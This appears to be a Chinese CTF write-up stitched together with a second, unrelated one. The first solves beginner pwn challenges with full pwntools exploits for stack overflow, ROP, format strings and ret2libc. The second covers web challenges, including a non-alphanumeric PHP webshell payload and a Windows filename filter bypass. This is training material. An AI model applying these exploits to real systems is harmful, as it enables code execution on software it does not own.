由于我是多次调试的，所以内存地址总会发生变化，所以读者没必要太关注内存地址，由于内存地址偏移量是不变的，我们只关注内存差值就行了。
## 0x2 实践刷题篇
这次我们接着上一篇的,直接把攻防世界新手区的题目刷完吧。
### 0x2.1 level2
#### (1)题目描述及其考点
菜鸡请教大神如何获得flag，大神告诉他‘使用面向返回的编程(ROP)就可以了’
考点: ROP
ROP，是因为核心在于利用了指令集中的 ret 指令，改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
* 程序存在溢出，并且可以控制返回地址。
* 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的，那我们就需要想办法动态获取对应的地址了。
#### (2)wp
首先日常看保护:
*
可以看到是32位程序, 开启了NX保护,意味着栈没办法执行代码。
我们打开ida进行分析下
果断跟进那个显然漏洞函数:
我们可以很明显看 buf 的栈大小是: 0x88
这里要注意下
我们是通过填充buf去溢出数据,因为buf和vulnerablefunction函数是在同一个栈的，所以我们这里只能覆盖vulnerablefunction函数新开的栈的内容
一开始我傻傻地以为直接覆盖read函数的返回地址呢,read函数读取数据是从buffer里面读取的，根本不会有溢出的可能性，况且与buf数组也不在同一个栈空间。
而read可以读取0x100这样就存在栈溢出覆盖vulnerable_function函数返回地址为system函数,但是需要注意的是。
这里我们也要控制传入/bin/sh作为system的参数,这里我们可以利用程序内部的/bin/sh字符串地址。
至于为什么会这样,其实这个涉及到参数存放的函数约定的问题:
32位程序的参数是压入栈
64位程序前4个参数分别是rcx rdx r8 r9
所以对于32位程序,我们可以在栈上布置system的参数/bin/sh
但是64位的程序,就要进行找那种rop来构造了,后面我会细解这个相关的题目。
[x86 x64下调用约定浅析](https://blog.csdn.net/huangyimo/article/details/80573661)
[x64汇编第三讲,64位调用约定与函数传参.](https://www.cnblogs.com/iBinary/p/10959444.html)
为了更好理解这个过程:
我们可以写个rop.c 程序
#include <stdio.h>
int test(char cmd[]){
return system(cmd);
}
int main(){
char cmd[] = "/bin/sh";
test(cmd);
return 0;
}
然后编译:
这里我们指定生成32位程序
gcc -m32 -g -Wall rop.c -o rop
然后开启gdb进行调试下:
b main
disassemble /m main 查看下汇编指令
# 这是一个简单的转换脚本,因为是小端序,所以[::-1]
# '0x68732f6e69622f'
# 所以说/bin/sh存放的时候,用了4字节对齐
# 68732f /sh ebp-0x10先压栈
# 6e69622f /bin ebp-0x14 低地址后压栈
#!/usr/bin/python
string = '0x68732f6e69622f'
resString = ""
for i in range(1, len(string)//2):
resString += chr(int(string[2*i:2*i+2], 16))
print(int(string[2*i:2*i+2], 16))
print(resString[::-1])
我们跟进下test函数,看他是怎么使用我们的参数的
disassemble /m test
接着我们按si单步看下进入函数的过程
可以看到我们的参数被存放到了eax寄存器里面
我们继续si跟进
这里可以看到他是通过push dword ptr [ebp+8]来获取到/bin/sh，然后压入新栈作为system的参数
这就可以看出来,参数是被分布在栈上的,并且优先于call之前
更详细参数传递内容可以参考:
这里非常感谢一个师傅提供的文章:
[C语言与反汇编学习](//chumen77.github.io/2019/10/23/C%E8%AF%AD%E8%A8%80%E4%B8%8E%E5%8F%8D%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%9B%9B%EF%BC%89/#%E5%85%A8%E5%B1%80%E5%8F%98%E9%87%8F%E3%80%81%E5%B1%80%E9%83%A8%E5%8F%98%E9%87%8F\))
https://blog.csdn.net/magicworldwow/article/details/80582144
[8086汇编语言-如何使用栈传递参数
](https://visualgmq.github.io/2019/08/10/8086%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8%E6%A0%88%E4%BC%A0%E9%80%92%E5%8F%82%E6%95%B0/)
重新回到我们这个题目来,我们可以通过覆盖vulnerable_function 函数栈空间修改ret,达到任意调用system执行任意代码。
这里先扔出exp
#! /usr/bin/env python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
# 这个设置debug能看到exp执行的流程
elf = ELF('./pwn6')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
# 这里利用了pwntools两个小用法,方便我们操作
# 我们通过ELF加载elf文件,然后自动搜索里面的函数地址和寻找字符串。
# 这里因为是程序内部存在的，所以我们可以直接找到
# elf.search('/bin/sh').next() 这个其实和我们上面的那个ida直接搜索字符串得到地址是一样的
payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
# 这里0x88是栈空间大小,然后0x4是覆盖掉ebp,后面是调用system+任意的system返回地址+参数
# io = remote('111.198.29.45',51157)
io = process('./pwn6')
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
#### (3)动态调试payload
为了更深入理解这个机制，我们可以通过gdb+pwntools来进行动态调试
我们修改下脚本:
#! /usr/bin/env python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn6')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
# io = remote('111.198.29.45',45800)
io = process('./pwn6')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# 这里配置tmux纵向显示,
gdb.attach(io)
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()
然后在docker里面(ps.环境看我第一篇入门文章的配置),执行tmux进入新的终端,然后就可以调试了。
这里介绍下tmux的用法:
tmux的前缀是: ctrl + b 代表进入tmux标志
1.
(1)ctrl + b 然后再按冒号: 进入命令行模式,输入
set -g mouse on 回车之后就可以用滚轮来上下拖动了
(2)我们直接修改配置文件,来长期保持
vim ~/.tmux.conf
set -g mode-mouse on
2.
ctrl+b 然后按住s 可以切换不同的会话
3.
ctrl+b 然后按w可以查看窗口 按n切换到下一个窗口 按p切换到上一个窗口
我们执行下disassemble查看下当前位置
然后finish执行跳出
进入到里面之后,我们打印下栈结构stack 30 如果过长的话 按下回车会继续显示
我们可以看到当前栈EBP寄存器已经被我们传入的数据覆盖了。
那么具体覆盖的过程是怎么样的呢，我们可以更精细化来debugs
一开始我们先不要finish跳出来,我们看下当前的函数调用栈
可以看到是main->vulnerable_function->read->vulnerable_function->main
我们finish执行玩这个函数,就会ret回到read+39继续执行。
可以看到read一下子把我们的payload填充进去,成功复写了vulnerable_function函数的函数调用栈,变成了system然后system的父函数是deadbeed(这个就是我们随便定义的返回地址)
那么具体的复写机制是怎么样的呢,这个我们就需要跟踪程序的执行过程就可以理解为什么这样布置栈数据了(布置公式:
sys_plt+p32(0xdeadbeef)+p32(binsh_addr)
我们继续finish跳出read函数回到vulnerable_function函数现场。
接着si 3直接跳到ret看下read函数的栈结构 stack
ret指令的作用:
栈顶字单元出栈，其值赋给EIP寄存器。即实现了一个程序的转移，将栈顶字单元保存的[偏移地址](https://www.baidu.com/s?wd=%E5%81%8F%E7%A7%BB%E5%9C%B0%E5%9D%80&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)作为下一条指令的[偏移地址](https://www.baidu.com/s?wd=%E5%81%8F%E7%A7%BB%E5%9C%B0%E5%9D%80&tn=SE_PcZhidaonwhc_ngpagmjz&rsv_dl=gh_pc_zhidao)。
上一篇文章说过了,ebp是当前进入函数的指令地址，ebp+4就是下一条指令地址
这就是’A’ * 0x88 + ‘B’*0x4 + p32(sys_addr) 这样组合的原因
这里我们可以看到ESP就是就是system函数地址了,那么下一条指令就进去了system函数了
我们继续si 跟进 分析下后半段payload(p32(0xdeadbeef) + p32(sh_addr))的原因:
跟着system进去上千行代码是自闭的
其实这个原理就是默认程序调用就是ebp+4 是返回地址,
返回地址+4就是参数值,这个就回到了上面的知识点了,关于参数传递的问题。
push 参数
push 返回地址
push 函数地址
#### (4) 相关参考文章
[XCTF攻防世界 level2 ](https://bbs.pediy.com/thread-251334.htm)
[pwntools连gdb调试脚本](/thonsun.github.io/2019/07/17/pwntools%E8%BF%9Egdb%E8%B0%83%E8%AF%95%E8%84%9A%E6%9C%AC/\))
### 0x2.2 string
#### (1) 题目描述及其考点
菜鸡遇到了Dragon，有一位巫师可以帮助他逃离危险，但似乎需要一些要求
考点: 格式化字符串漏洞
#### (2) wp
日常查程序架构、保护
可以看到除了pie其他都开了,然后就是上ida了
这个程序有点复杂，当时我是一个一个函数跟进去看的，为了减少文章篇幅，这里只取重要的点来举例说明。
我们继续跟进sub_400BB9
但是因为开了保护，所以任意地址读写没办法直接拿到flag。
虽然在下一个函数我们可以发现只要满足条件*a1 == a1[1]那么我们就可以了,我们看下他们两者的取值过程。
这里感觉就很显然了，因为al就是v4,而v4的地址就是v3,写死了*v3=68
v3[1]=85,很很明显不相等，所以我们考虑结合下字符串格式化漏洞去修改其中一个值与另外一个值相等。
,竟然直接printf(“%x”)输出了*a和a1[1]的地址,
那么结合上面那个字符串格式化任意地址写，修改两者的值就可以轻松完成了，这里直接给出exp构造过程。
不理解字符串格式化的朋友,可以先看我前一篇[文章](https://www.anquanke.com/post/id/187922#h3-18)，这里我就不累赘了。
因为v3是malloc动态内存地址，所以我们先通过程序直接获取到v3地址
io.recvuntil('secret[0] is ')
addr = int(io.recvuntil('\n'), 16)
然后满足一些条件
io.recvuntil('secret[0] is ')
addr = int(io.recvuntil('\n'), 16)
io.sendlineafter('be\n', 'xq17')
io.sendlineafter('up\n', 'east')
io.sendlineafter('leave(0)?:\n', '1')
这样我们就满足了条件,开始进入了
这里的printf一开始我不是很懂的，因为我之前做的是printf(&s);这样的形式，这里我们可以采取debug查看下
我们自己写一个程序并且关闭保护再编译:
#include <stdio.h>
int main()
{
char format;
// char a = "123";
scanf("%s", &format);
printf(&format, &format);
return 0;
}
gcc -fno-stack-protector -no-pie -g -Wall printf.c -o test
我们可以发现其实这个很简单的，我们输入format=”%s” 其实就是等价printf(“%s”, “%s”)
那么根据printf函数定义,第一个是格式化字符串解析格式化字符%s然后把后面的参数解析位字符串”%s”
所以这里并不影响我们执行格式化字符串，因为我们主要利用还是第一个参数，第二个无所谓。
这里我们需要把v3修改为85,那么%$xn中的x就是p64(addr)对应的printf的第几个参数
然后
sizeof(p64(addr)) + %(85-sizeof(p64(addr)) )c + %$xn
就可以利用printf修改addr中的值了。
利用的话我们是构造
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./pwn7')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# 这里配置tmux纵向显示
# gdb.attach(io)
# io.sendlineafter("Input:\n",payload)
io.recvuntil('secret[0] is ')
addr = int(io.recvuntil('\n'), 16)
io.sendlineafter('be:\n', 'xq171')
io.sendlineafter('up?:\n', 'east')
io.sendlineafter('leave(0)?:\n', '1')
# gdb.attach(io)
io.sendlineafter("address'\n", str(addr))
io.sendlineafter("is:\n", str(addr) + "%77c%7$n")
# io.sendlineafter("is:\n", "AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x")
shellcode = asm(shellcraft.sh())
io.sendlineafter("SPELL\n", shellcode)
io.interactive()
io.close()
这里我是通过AAAA出现在第7个位置来确定位移的。
# io.sendlineafter("is:\n", "AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x")
刚好是在第7个位置,然后 str(addr)存放了一个内存空间64位8字节
所以0x85-0x8=0x77
io.sendlineafter(“is:\n”, str(addr) + “%77c%7$n”) 这就是来源。
或者可以直接看栈结构,esp就是第一个第一个参数
可以看到format就是在第7个位置。
* * *
上面是华丽的错误分割线，其实我上面的说法是错误的，为什么能成功呢，主要原因还是修改了上面那个变量的值。
其实正确的做法是这样:
这里我们可以重新分析一下如果把
io.sendlineafter("an address'\n", str(addr))
放在了v2变量上，那么怎么计算printf的第几个参数
我们通过pwntools+gdb来进行调试可以看到即将进入printf的函数的栈结构，可以看到v[0]存放的栈空间地址。
可以看printf获取到的参数,这里我们选择si跟进这个函数,
call 指令是调用函数 分为两步:(1)将当前的rip压入栈中 (2)转移到函数内
push RIP
jmp x
可以看到他把下一条要执行指令存到了栈里面，保护现场，然后跳到函数内部执行
然后开辟了栈空间，然后取参数,finish执行完，查看栈参数
这里是64位,参数存放有点问题,
在x86_64架构（Linux或Unix系统）上，函数的前6个参数是通过寄存器传递的
所以6+1=7 %7$n的位置就是对应格式化字符串输入的位置。可以看到0x21a9269就是我们对应的那个str(addr)
这就是网上那些wp的做法。
这里重新回到我们上一篇文章中通过自己在格式化字符串写入地址的做法
我当时做前面那个题目是把地址写在了格式化字符串里面的,也就是这样
io.sendlineafter("is:\n", p64(addr)+"%77d%8$n")
然后开启gdb进行调试:
gdb.attach(io, "b printf\n c") #设置下断点
然后finish查看
可以看到是在6+2=8第8个位置上,但是执行完的时候
x/2dx 0xf2c260 查看内存发现值并没有改变
这里介绍下gdb查看内存用法
比较常用:
x/2wd w是指定4字节长度,2是指取当前地址开始8字节也就是两个比如数组就是 v[0] v[1]的值,d就是十进制来显示
x/2wx x是16进制表示
[gdb调试时查看内存](https://blog.csdn.net/yasi_xi/article/details/7322278)
其实原因，还是因为64位转换地址的时候出现了截止字节\x00这样导致printf取参数的时候就没办法读取后面的字符进去了。
所以我们就要把地址放在后面，这样子来重新构造。
#### (3) 相关参考文章
[格式化字符串漏洞利用](https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/)
### 0x 2.3 guess_num
#### (1) 题目描述及其考点
菜鸡在玩一个猜数字的游戏，但他无论如何都银不了，你能帮助他么
考点: 栈溢出及其随机数原理
#### (2) wp
日常看保护,然后开ida。
保护全开
这个题目的基本思路是通过sub_BB0生成一个随机数种子,然后想要我们猜对后面的数列，gets函数因为不限制读取的长度，所以会造成栈溢出，这里涉及到一个很常见的随机数考点，就是计算机里面很多随机数都是伪随机数算法，就是根据一个seed生成一个固定的随机数数列
所以这个题目的考点就回到如何通过栈溢出覆盖掉seed[0]
我们可以看到这里的栈溢出保护没用，因为我们根本不会超出栈空间，
这里我们计算下相对位置:
-0x10 – (-0x30)=0x10
那么我们直接上exp就行了,这个题目考点还是比较简单的。
这里需要用到python一个库ctypes来伪造libc.so的随机数算法
首先查看程序使用的lib.so版本
cmd: ldd pwn8
from pwn import *
from ctypes import *
io = remote('111.198.29.45', 54570)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# 这里修改种子为1
payload = 'A'*0x10 + p64(1)
io.sendlineafter('name:',payload)
for i in range(20):
# rand 默认是种子是1
io.sendlineafter('number:',str(libc.rand()%6 + 1))
io.interactive()
#### (3)题目小结
这个题目感觉没什么考点，不过能巩固之前学的知识点，而且与一些其他特性结合起来，比如随机数考点，对于我这个摸鱼几年的web选手来说应该比较熟悉了。
### 0x2.4 int_overflow
#### (1) 题目描述及其考点
菜鸡感觉这题似乎没有办法溢出，真的么?
考点: 整数溢出
#### (2) wp
按照前面所讲的思路，跟进所有函数，发现关键函数(笔者开始省略日常步骤，建议新手实操检验学习成果)
这里看到将最大长度为0x199的s传给char为1的dest(距离ebp 0x14h),这里就会造成栈溢出，我们发现程序存在system函数
然后通过ida定位ctrl+x我们可以找到cat /flag函数的地址为:0x0804868B
解决了上面问题，我们就要思考如何控制程序进入我们上述的流程了。
但是前面好像限制了输入的长度v3(无符号整数范围就是0-2^8-1),但是我们至少都得溢出(0x14h+size(ebp))（24）长度
所以这里我们就可以控制v3让他超过范围发生整数溢出,这样我们就可以输出超过8位的字符,通过计算控制溢出之后的v3范围在3-8
那么我们的构造公式就可以是:’A’*24 + p32(0x0804868B)+ ‘A’+(259-28) 这样溢出的时候v3就是3了。
直接丢出exp,多出来的长度会继续向下覆盖，但是程序跳转到system了所以没有关系。
from pwn import *
io = remote("111.198.29.45", 48764)
io.sendlineafter('Your choice:','1')
io.sendlineafter('username:','aa')
payload = "A"*24 + p32(0x804868b) +'A'*(259-28)
io.sendlineafter('passwd:',payload)
io.interactive()
你懒得计算也可以利用python一些右对齐函数比如
payload = "a"*24 + p32(0x804868b)
payload = payload.ljust(259,"A")
这样就会让payload刚好259长度，然后A在右边填充。
256 -> 0
257 -> 1
...
259 -> 3
### 0x2.5 cgpwn2
#### (1) 题目描述及其考点
菜鸡认为自己需要一个字符串
考点: 栈溢出题目_变形
#### (2) wp
日常checksec
没有栈溢出保护,上ida
乍看的时候我感觉好像涉及到比较复杂的计算，这个时候我建议直接从后面开始回溯读取，让时间最小化。
结果发现我们只要重点关注最后两行输入就行了。
很明显这里用了gets所以我们可以直接retlibc hello函数
我们查看下有没有system函数,ida查看导入函数表
然后我们还需要找/bin/sh
这里浅浅分析下为什么要找/bin/sh，
1.因为内存地址是动态的，我们没办法知道我们写入的字符串地址
2.我们可以借助一些存放在bss段等可知的内存空间变量
不理解可以查阅相关资料
keyword: 程序是如何加载进内存的
或者后面我会分析一波。
这个题目我们可以利用
fgets(name, 50, stdin);伪造name为一个/bin/sh字符串
我们查看下name的位置,
bingo！ 是在bss段(未初始化的变量),所以我们可以写入一个字符串了
这里注意下c语言字符串末尾必须得带上\x00
所以这里就是简单计算的问题了，刚好考验下刚才level2操作，这里我就不赘述了，直接exp
from pwn import *
io = remote('111.198.29.45', 51465)
sh_addr = 0x0804A080
io.sendlineafter('name','/bin/sh\x00')
io.sendlineafter('here:','a'*42 + p32(0x08048420) + p32(0xdeadbeef) + p32(sh_addr))
io.interactive()
### 0x2.5 level3
#### (1) 题目描述及其考点
libc!libc!这次没有system，你能帮菜鸡解决这个难题么?
考点: 栈溢出_加强版ROP利用lib.so函数
#### (2) wp
日常checksec
然后上ida
非常简洁的一个read函数溢出，但是这里没有system和/bin/sh
我们可以看到libc_32.so.6是开了地址随机化的，也就是说里面的函数地址是变化，但是不同函数直接的相对偏移地址是不变的(libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同)
换句话说就是这样:
假设 A在 libc32.so.6中当前的地址是 0x1 B在 libc32.so.6 是0x3 (这个我们可以ida或者readelf查看得到)
当程序进行加载 libc_32.so.6的时候，地址会随机化
假设A 变成了 0x2 那么我们就可以通过计算 0x2 + (0x3-0x1) = 0x4 得到b的地址
那么我们下面就进行具体的操作吧
pwntools的一些基础操作介绍:https://www.cnblogs.com/Ox9A82/p/5728149.html
如果不明白pwntools的指令可以先前去学习一下
首先程序加载的时候会有个映射，这就涉及到plt和got表,其中got表存放的就是函数绝对地址
(关于plt+got动态绑定的知识，后面我会重新细讲一波)。
可以先掌握一些概念
GOT(Global Offset Table): 全局偏移表
PLT(Procedure Link Table): 程序链接表
call printf@plt 就是先去plt表的printf 然后再jmp *printf@got 跳到got表找到真实的printf地址
延迟绑定: 程序在使用外部函数库的时候并不会将所有函数进行链接，而是在使用的时候再重新链接
实现延迟绑定:
jmp “地址”
push “ printf引用在重定位表的“.rel.plt”中的下标”；
jump dlruntime_resolve//这个函数是完成符号解析和重定位的；
_dl_runtime_resolve_avx：找到调用它的函数的真实地址，并将它填入到该函数对应的GOT中
可以提前学习一波这个文章。
[计算机原理系列之八 ——– 可执行文件的PLT和GOT](https://luomuxiaoxiao.com/?p=578#221)
程序在执行第一次write函数的时候会调用_dl_runtime_resolve_avx,got表就会建立起来，第二次调用时
就会直接加载got表对应的就是加载lib_32.so.6内存地址值。
先简单说下这个题目的思路:
1.我们利用read函数溢出覆盖ebp,ebp+4
存放的是write函数参数(write的got表地址)，下面依次是write函数的返回地址(vulnerable_function) 在到write函数地址
2.程序执行完write函数之后会输出got表的中write函数的地址，然后ret再一次跳到vulnerable_function这个函数上面，我们在进行溢出执行偏移后的system地址，完成调用
这里借用一个大神博客的图:
我们先获取偏移量:
readelf -a ./libc_32.so.6 |grep " write@"
> 2323: 000d43c0 101 FUNC WEAK DEFAULT 13 write@@GLIBC_2.0
readelf -a ./libc_32.so.6 |grep " system@"
> 1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
readelf -a ./libc_32.so.6 |
>strings -a -t x ./libc_32.so.6 | grep "/bin/sh"
> 15902b /bin/sh
1.首先获取write地址代码
io = process('./level3')
elf = ELF('./level3')
libc=ELF('libc_32.so.6')
write_addr = elf.symbols['write']
vul_addr= elf.symbols['vulnerable_function']
got_addr= elf.got['write']
# write函数有4个参数write(1(代表向输出流写入),字符串地址值,输出长度) 压栈的时候是先从右边开始
#但是我们写payload的时候是从左边开始压的要记住，pwntools会自己转换的。
payload1="a"*140+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr=hex(u32(io.recv(4)))
print(write_addr)
这里我们调用pwntool来直接计算偏移：
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
print(hex(libc_write))
print(hex(libc_system))
print(hex(libc_sh))
可以看到和我们上面的结果是一致的
然后我们计算偏移公式很简单a’+ b-a就是b’的距离
直接上exp.py
from pwn import *
# io = process('./level3')
io = remote('111.198.29.45', 51844)
elf = ELF('./level3')
libc=ELF('libc_32.so.6')
write_addr = elf.symbols['write']
vul_addr= elf.symbols['vulnerable_function']
got_addr= elf.got['write']
payload1="a"*140+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
print(hex(libc_write))
print(hex(libc_system))
print(hex(libc_sh))
system_addr=write_addr + libc_system - libc_write
sh_addr=write_addr + libc_sh -libc_write
payload2='a'*140+p32(system_addr)+"aaaa"+p32(sh_addr)
io.sendline(payload2)
io.interactive()
#### (3) 题目小结
这个题目可以说是基础ROP的入门，通过控制返回地址进行多重跳，很有进阶的意义。
#### (4) 参考文章
[计算机原理系列之八 ——– 可执行文件的PLT和GOT](https://luomuxiaoxiao.com/?p=578#221)
[Writeup of level3(Pwn) in
JarvisOJ](https://blog.csdn.net/cossack9989/article/details/79326659)
[聊聊Linux动态链接中的PLT和GOT（１）——何谓PLT与GOT](https://blog.csdn.net/linyt/article/details/51635768)
## 0x3 总结
这次这几个题目做了2.3天，感觉收获还是挺大的，其中很感谢一些师傅回答我比较傻的问题，一语惊醒梦中人，期间我也看了网上很多wp，基本都是雷同或者草草了事的，很少有那种新手摸索的过程，因为本人是个菜鸡，难免会有疏漏，希望各位师傅多多包容，然后指出，让我更加深pwn的理解，谢谢。
## 0x4参考链接
[ROP学习：64位栈溢出](/chybeta.github.io/2017/06/26/ROP%E5%AD%A6%E4%B9%A0%EF%BC%9A64%E4%BD%8D%E6%A0%88%E6%BA%A2%E5%87%BA/\))
[linux-pwn基础1](/yaov.net/2018/09/15/linux-pwn%E5%9F%BA%E7%A1%801/\))
[Ret2libc详解](https://zhouyetao.yzzaccept.top/index.php/2019/06/16/ret2libc.html)
[Linux gdb调试器用法全面解析](https://blog.csdn.net/21cnbao/article/details/7385161)
[攻防世界pwn之新手练习区](https://www.cnblogs.com/at0de/p/11269120.html) | 社区文章 |
# Web
## babylog
各种尝试后，发现可以利用缓存将 xff 头处的 self-xss 转为存储型 xss。
<https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html>
## lfi2019
**SECOND BLOOD**
这个题目充满了出题人的恶趣味。没用的代码和注释实在太多了，我第一次感受到原来注释多也挺惹人烦的。其主要就两个功能：
1. include文件。
2. 写文件。
重点在于绕过它的各种限制，其对于文件有如下限制：
1. 文件名不能出现`['.', './', '~', '.\\', '#', '<', '>']`中的任意一个字符
2. 写文件的内容会被`preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);`处理。
在include文件前，其还有一个限制：
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
/*
path_sanitizer(true)会把所有的/和\替换为空：
foreach(["/", "\\"] as $f){
$dir = str_replace($f, "", $dir);
}
*/
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
如果它是Linux服务器的话，很显然，直接上传一个文件名为`bb\`的文件就能绕过限制。但这题不行。经过对一些特殊字符（如下）的测试，发现这是一台Windows机器。
对于Windows的文件读取，有一个小Trick：使用`FindFirstFile`这个API的时候，其会把`"`解释为`.`。意即：`shell"php`
=== `shell.php`。
因此，回到这题来。我们上传一个文件，名字设为`test`。然后，通过`"/test`即可读取。此时：
$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在
至此，即绕过了文件名的限制。至于文件内容的限制，更为简单了。
参考 <https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html>
，编写payload如下：
<?=$_=[]?><?=$_=@"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>
其中用 `<?=?>` 替代分号，最后运行的是`file_get_contents('flag.php')`，就能出结果了。
## weiphp
**FIRST BLOOD**
挺无聊的一个 CMS 审计题目。我还是第一次见到能有一个CMS 的开发者允许用户自己定义`allow_file_ext`的。
并且存在一个免验证的文件上传接口:
然后就没有然后了。
## babypress
注意到`docker-compose.yml`里把网卡设置为了外网地址。联想到 WordPress 的 xml-rpc 修复了各种内网SSRF，猜想就是通过
xml-rpc 打外网从而拿到 flag。于是直接用 xml-rpc 打就 ok。
## noxss
**FIRST BLOOD**
非常明显，唯一的输出点只有skin，但此输出点过滤掉了 < > " '
很显然，我们只能用 CSS 搞事情了。那第一步是如何执行我们需要的任意 CSS。
